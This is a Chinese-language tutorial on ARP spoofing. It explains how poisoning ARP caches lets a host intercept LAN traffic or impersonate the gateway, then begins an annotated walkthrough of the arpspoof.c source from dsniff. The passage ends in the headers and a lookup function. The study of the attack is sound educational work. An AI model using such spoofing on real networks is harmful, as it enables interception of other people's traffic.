ARPSpoofing
什么是ARP协议
- 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网传输的网卡却不能直接识别IP地址,所以用APR解析协议将IP地址解析成MAC地址。ARP协议的基本功能就是通过目标设备的IP地址,来查询设备的MAC地址。
- 在局域网的任意一台主机中,都有一个ARP缓存表,里面保存本机已知的此局域网中各主机和路由器的IP地址和MAC地址的对照表关系。ARP缓存表的生命周期是有时限的(一般不超过20min)。
以下是IPv4在ARP包上的结构:
包含的信息有:类型、长度、操作、发送方地址、目标地址。
什么是ARP欺骗攻击
- 基于如下原则:
任何主机均能发送伪造包给局域网中的另一主机;
任一主机相信它们接受到的所有包;
当一个新的响应包到达时,它甚至在没有请求包被发送的情况下覆盖掉旧的记录。 - 举个例子:
- 假设局域网中有4台主机,由于ARP欺骗攻击建立在局域网主机间相互信任的基础上,当A发广播询问:我想知道IP192.168.0.3的硬件地址是多少?
- 此时B当然会回话:我是IP192.168.0.3,我的硬件地址是mac-b。可是此时IP地址是192.168.0.4的C也非法回了:我是IP192.168.0.3我的硬件地址是mac-c,并且,这种回应是大量的。
- 所以A就会误信192.168.0.3的硬件地址是mac-c,并且动态更新缓存表。这样,主机C就劫持了主机A发送给主机B的数据,这就是ARP欺骗的过程。
- 假设C直接冒充网关,此时主机C会不断地发送ARP欺骗广播,大声说:我的IP是192.168.0.1,我的硬件地址是mac-c,此时局域网内所有的主机都被欺骗,更改自己的缓存表,此时C将会监听到整个局域网发给互联网的数据报。
ARP欺骗的常用工具:arpspoof
- Ubuntu环境下对源码进行编译及分析:
- 下载dsniff源码
sudo apt-get source dsniff
- 下载安装编译所需依赖项libnet1、libpcap等:
sudo apt-get install libnet1
sudo apt-get install libpcap-dev
sudo apt-get install libnet1-dev
提取dsniff源码目录下的arp.c, arp.h, arpspoof.c三个文件,将其合并为一个arpspoof.c文件,想办法gcc/clang编译成功。
将其合并成一个arpspoof.c稍作修改并添加注释如下:
/*
* arpspoof.c
*
* Redirect packets from a target host (or from all hosts) intended for
* another host on the LAN to ourselves.
*
* Copyright (c) 1999 Dug Song <dugsong@monkey.org>
*
* $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $
*
* Improved 2011 by Stefan Tomanek <stefa@pico.ruhr.de>
*/
//#include "config.h"
#include <sys/types.h> //基本系统数据类型
/*包含caddr_t clock_t comp_t dev_t fd_set fpos_t gid_t
ino_t off_t mode_t pid_t ptrdiff_t rlim_t size_t ssize_t
time_t uid_t wchar_t*/
#include <sys/param.h>
#include <sys/socket.h> //与套接字相关的函数声明和结构体定义
/*SOCKET_STREAM:流式套接字 SOCKET_DGRAM:数据报式套接字 SOCKET_RAW:原始套接字
创建套接字:socket() 绑定本机端口:bind() 建立连接:connect(),accept()
倾听端口:listen() 数据传输:send(),recv() 输入/输出多路复用:select()
关闭套接字:closesocket() */
/*通过使用#ifdef指示符,我们可以区隔一些与特定头文件、程序库
和其他文件版本有关的代码,提高程序的通用性。*/
#ifdef BSD
#include <sys/sysctl.h> //sysctl函数头文件
#include <net/if_dl.h>
#include <net/route.h>
#ifdef __FreeBSD__ /* XXX */
#define ether_addr_octet octet //网络字节地址定义
#endif
#else /* !BSD */
#include <sys/ioctl.h> //I/O控制操作相关的函数声明,如ioctl()
#ifndef __linux__
#include <sys/sockio.h>
#endif
#endif /* !BSD */
#include <net/if.h>
#include <netinet/in_systm.h>
#include <netinet/in.h> //端口宏定义,著名ip(loopback),结构sockaddr_in..
/*网络字节转换(ntoh,hton...),用途广泛。*/
#include <netinet/if_ether.h> //ether_arp的数据结构
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> //提供对POSIX操作系统API的访问功能的头文件的名称。
#include <string.h>
//#include "config.h"
//#include <sys/types.h>
//#include <sys/param.h>
//#include <netinet/in.h>
//#include <stdio.h>
//#include <string.h>
#include <signal.h> //C标准函数库中的信号处理部分,定义了程序执行时如何处理不同的信号。
#include <err.h>
#include <libnet.h> //libnet 是一个小型的接口函数库,主要用 C 语言写成,提供了低层网络数据包的构造、处理和发送功能。
#include <pcap.h> //这个抓包库给抓包系统提供了一个高层次的接口。所有网络上的数据包,通过这种机制,都是可以捕获的。
#ifndef _ARP_H_
#define _ARP_H_
#include <net/ethernet.h> //包括几个以太网的数据结构,ether_addr(mac帧结构),
/*ether_header(以太帧的头部)*/
/*声明了查找arp缓存表的函数*/
int arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf);
#endif
//#include "arp.h"
//#include "version.h"
#ifdef BSD //BSD系统中的arp_cache_lookup函数实现
/*ip为查找IP值 */
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf)
{
int mib[6];
size_t len; //长度
char *buf, *next, *end; //缓存、下一个、最后一个
struct rt_msghdr *rtm; //rt_msghdr结构
struct sockaddr_inarp *sin; //sockaddr_in 是internet环境下套接字的地址形式
struct sockaddr_dl *sdl;
mib[0] = CTL_NET;
mib[1] = AF_ROUTE;
mib[2] =